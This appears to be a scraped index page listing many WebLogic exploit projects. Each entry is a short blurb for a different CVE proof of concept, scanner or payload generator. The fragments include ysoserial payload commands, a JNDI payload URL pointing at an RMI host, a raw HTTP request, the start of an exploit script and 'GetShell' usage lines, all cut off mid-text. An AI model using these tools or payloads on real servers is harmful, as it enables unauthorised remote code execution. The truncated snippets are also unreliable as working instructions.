cve-2019-2725

cve-2019-2725 References: Tenable - https://www.tenable.com/blog/oracle-weblogic-affected-by-unauthenticated-remote-code-execution-vulnerability-cve-2019-2725 Exploit Database - https://www.exploit-db.com/exploits/46780 PaloAlto -...

CVE-2020-14756

CVE-2020-14756 WebLogic T3/IIOP RCE ExternalizableHelper.class of coherence.jar README project base on https://github.com/Y4er/CVE-2020-2555 and weblogiccmd test on 12.2.1.4.0 and jdk 1.8.0221 Reference 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2...

weblogic-XMLDecoder

This software is for learning and communication only, any illegal use is prohibited Weblogic-XMLDecoder-GUI CVE-2017-10352 A Python GUI experimental tool. Its main function is to exploit the deserialization vulnerability caused by Weblogic XMLDecoder. Developed for learning the Python tkinter...

WeblogicScan

WeblogicScan Enhanced version of WeblogicScan, modified from rabbitmask's WeblogicScan V1.2. Original source project: https://github.com/rabbitmask/WeblogicScan DEFF Supports Python3 Fixed vulnerability detection false positives, vulnerability detection results are more accurate Added...

weblogic-cve-2018-2628

This repository does not have a README...

CVE-2018-2893

CVE-2018-2893 Step 1 java -jar ysoserial-cve-2018-2893.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pynerd...

CVE-2020-14645

CVE-2020-14645 Weblogic CVE-2020-14645 UniversalExtractor JNDI injection getDatabaseMetaData Project depends on https://github.com/5up3rc/weblogiccmd Demo Require 1. JDK Version JDK6u211/7u201/8u191 2. Weblogic Version 12.2.1.4.0 Do not use illegally!!!!!!!! Reference 1...

CVE-2023-21839-metasploit-scanner

CVE-2023-21839-metasploit-scanner Usage git clone https://github.com/kurehalin/CVE-2023-21839-metasploit-scanner cd CVE-2023-21839-metasploit-scanner mkdir -p /.msf4/modules/auxiliary/scanner/http cp weblogiciioprce.py /.msf4/modules/auxiliary/scanner/http chmod +x...

CVE-2018-2628all

CVE-2018-2628 Vulnerability Batch Detection Script Usage IP format: root@kitploit: 192.168.31.1:443 192.168.31.100:443 Save it as url.txt in the same directory and run the script. Please comment on the output effect yourself! Execute like this: root@kitploit: The program works fine under Deepin,...

CVE-2018-3191

CVE-2018-3191 payload generator Download: https://github.com/voidfyoo/CVE-2018-3191/releases Usage root@kitploit: java -jar weblogic-spring-jndi.jar e.g.: root@kitploit: java -jar weblogic-spring-jndi.jar rmi://192.168.1.1:1099/Exp Notes weblogic-spring-jndi-12.2.1.3.jar for weblogic: 12.2.1.3...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 root@kitploit: / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

CVE-2018-2894

CVE-2018-2894 CVE-2018-2894 Vulnerabilidad de carga arbitraria de archivos/RCE por acceso no autorizado a WebLogic script de verificación...

CVE-2018-2628-MultiThreading

Vulnerabilidad de deserialización del componente central WebLogic WLS CVE-2018-2628 Uso: coloque la ip:port a detectar en el archivo url.txt del mismo directorio. Luego ejecute: modifique el número de hilos en la línea 93 del código python CVE-2018-2628-MultiThreading.py Uso: coloque la 'ip:port'...

CVE-2018-3245

CVE-2018-3245 Step 1 java -jar ysoserial-cve-2018-3245.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933...

CVE-2019-2615

CVE-2019-2615 GET /beawlsmanagementinternal2/wlmanagement HTTP/1.1 Host: 192.168.5.137:7001 User-Agent: Mozilla/5.0 Windows NT 6.1; Win64; x64; rv:66.0 Gecko/20100101 Firefox/66.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encodin...

CVE-2018-3252

CVE-2018-3252 1. Descompilar weblogic root@kitploit: private void handleDataTransferRequestHttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse, AuthenticatedSubject paramAuthenticatedSubject throws IOException if isDebugEnabled debug"Received DataTransferReque...

CVE-2022-45047

CVE-2022-45047 POC,EXP,chatGPT para mí code root@kitploit: import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding":...

CNVD-C-2019-48814

CNVD-C-2019-48814 WebLogic wls9-async Deserialization Remote Command Execution Vulnerability Echo PoC for WebLogic Patch update: root@kitploit: https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html Vulnerability Reproduction: root@kitploit:...

CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 or others GIOP + send jta rmi or others...

CVE-2017-3506

What is this? This is a poc of CVE-2017-3506Weblogic XMLDecoder Serialization How to use it? check vul root@kitploit: java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001 GetShell root@kitploit: java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001...